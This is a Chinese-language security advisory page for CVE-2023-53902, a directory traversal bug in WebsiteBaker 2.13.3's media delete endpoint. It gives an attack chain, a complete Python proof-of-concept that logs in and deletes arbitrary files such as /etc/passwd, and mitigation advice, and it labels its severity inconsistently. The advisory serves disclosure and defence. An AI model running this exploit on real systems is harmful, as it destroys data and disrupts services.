IPBUF安全漏洞报告
English
CVE-2023-53902 CVSS 6.5 中危

CVE-2023-53902 WebsiteBaker 2.13.3 目录遍历漏洞导致任意文件删除

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2023-53902
漏洞类型
目录遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WebsiteBaker 2.13.3

相关标签

目录遍历任意文件删除WebsiteBakerCVE-2023-53902路径穿越权限绕过Web应用漏洞CMS漏洞PHP漏洞OWASP Top 10

漏洞概述

CVE-2023-53902是WebsiteBaker 2.13.3版本中的一个高危安全漏洞,属于目录遍历(Path Traversal)类型。该漏洞存在于/admin/media/delete.php端点中,由于对用户提供的目录路径参数缺乏充分的输入验证和安全过滤,认证攻击者可以利用目录遍历序列(如../)来访问和删除Web服务器上目标目录之外的任意文件。此漏洞的CVSS评分为6.5(中危),攻击向量为网络,攻击复杂度低,需要低权限认证,但无需用户交互。漏洞主要影响系统的机密性(高影响),攻击成功后可导致敏感文件被删除,可能造成数据丢失和服务中断。WebsiteBaker是一款流行的开源内容管理系统(CMS),广泛用于构建各类网站和企业门户,因此该漏洞可能影响大量使用该系统的在线服务。

技术细节

该漏洞的根本原因在于WebsiteBaker 2.13.3的/media/delete.php脚本对目录路径参数缺少严格的输入验证。当认证用户请求删除媒体文件时,应用程序直接接受并使用用户提供的路径参数,而未对其进行安全规范化处理。攻击者可以通过在路径参数中注入目录遍历序列(如../../../etc/passwd或../../../../important_file.txt)来突破预期的媒体目录边界。具体的攻击流程如下:攻击者首先需要获得WebsiteBaker的有效用户凭证(低权限即可),然后构造包含目录遍历payload的GET请求到/admin/media/delete.php端点。服务器端代码在处理请求时,未正确过滤或规范化路径中的../序列,导致攻击者可以遍历到系统任意目录。一旦路径被解析,delete.php将执行文件删除操作,从而实现对目标服务器上任意文件的删除。由于文件删除操作具有不可逆性,攻击可能造成严重的业务中断和数据损失。此漏洞与CWE-22(路径遍历)相对应,属于OWASP Top 10中的A01(失效的访问控制)类别。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的WebsiteBaker CMS版本,确认版本为2.13.3或存在漏洞的早期版本
STEP 2
获取访问凭证
攻击者通过社会工程、凭证填充或默认密码等方式获取WebsiteBaker的低权限用户账号
STEP 3
构造恶意请求
攻击者构造包含目录遍历序列(如../../../etc/passwd)的GET请求,目标指向/admin/media/delete.php端点
STEP 4
发送漏洞利用请求
使用认证会话发送精心构造的请求,路径参数中包含目录遍历payload,突破媒体目录限制
STEP 5
验证文件删除
服务器端代码未正确过滤../序列,路径被解析后执行文件删除操作,攻击者验证目标文件是否被成功删除
STEP 6
后续攻击
根据删除的文件类型,攻击者可进一步实施数据破坏、服务中断或配合其他漏洞进行更深层次的入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53902 PoC - WebsiteBaker Directory Traversal File Delete # Target: WebsiteBaker 2.13.3 # Endpoint: /admin/media/delete.php def exploit_cve_2023_53902(target_url, username, password, target_file): """ Exploit for CVE-2023-53902: WebsiteBaker Directory Traversal via media delete endpoint Args: target_url: Base URL of the vulnerable WebsiteBaker instance username: Valid low-privilege user credentials password: User password target_file: Absolute path of file to delete (e.g., /etc/passwd) Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/admin/login/index.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Construct directory traversal payload # Convert absolute path to traversal sequence # Example: /etc/passwd -> ../../../etc/passwd traversal_path = "../../../" + target_file.lstrip("/") # Step 3: Send malicious delete request delete_url = f"{target_url}/admin/media/delete.php" params = { 'dir': traversal_path, 'file': target_file.split('/')[-1] } response = session.get(delete_url, params=params, timeout=10) # Step 4: Verify deletion if response.status_code == 200: print(f"[+] Potentially exploited: File deletion request sent") print(f"[+] Target file: {target_file}") print(f"[+] Traversal path used: {traversal_path}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2023_53902.py <target_url> <username> <password> <file_to_delete>") print("Example: python cve_2023_53902.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit_cve_2023_53902(target, user, pwd, file_path)

影响范围

WebsiteBaker 2.13.3
WebsiteBaker < 2.13.4 (修复版本)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制/admin/media/delete.php端点的访问,仅允许受信任的管理员IP访问;2)通过Web服务器配置(如Apache的mod_security或Nginx的访问控制)阻止包含../序列的请求;3)暂时禁用媒体文件删除功能,直到完成版本升级;4)实施文件监控和告警机制,及时发现异常的文件删除行为;5)定期备份关键系统文件和数据,确保在遭受攻击后能够快速恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表